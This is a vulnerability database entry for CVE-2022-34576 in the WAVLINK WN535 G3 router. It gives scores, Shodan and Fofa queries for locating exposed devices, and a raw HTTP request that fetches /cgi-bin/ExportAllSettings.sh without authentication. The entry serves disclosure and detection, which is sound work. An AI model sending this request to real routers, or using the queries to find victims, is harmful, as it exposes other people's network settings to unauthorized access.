🔙 목록으로 돌아가기

CVE-2022-34576: WAVLINK WN535 G3 - Improper Access Control

TitleWAVLINK WN535 G3 - Improper Access Control
Authorarafatansari
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
RemediationApply the latest firmware update provided by the vendor to fix the access control issue.
CVSS Score7.5
EPSS Score0.33416
CVE IDCVE-2022-34576
Shodan Queryhttp.html:"Wavlink"http.html:"wavlink"http.title:"wi-fi app login"
Fofa Querytitle="wi-fi app login"body="wavlink"
Tags cve cve2022 wavlink exposure vuln

🔍 Vulnerability Description

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /cgi-bin/ExportAllSettings.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34576.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34576.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A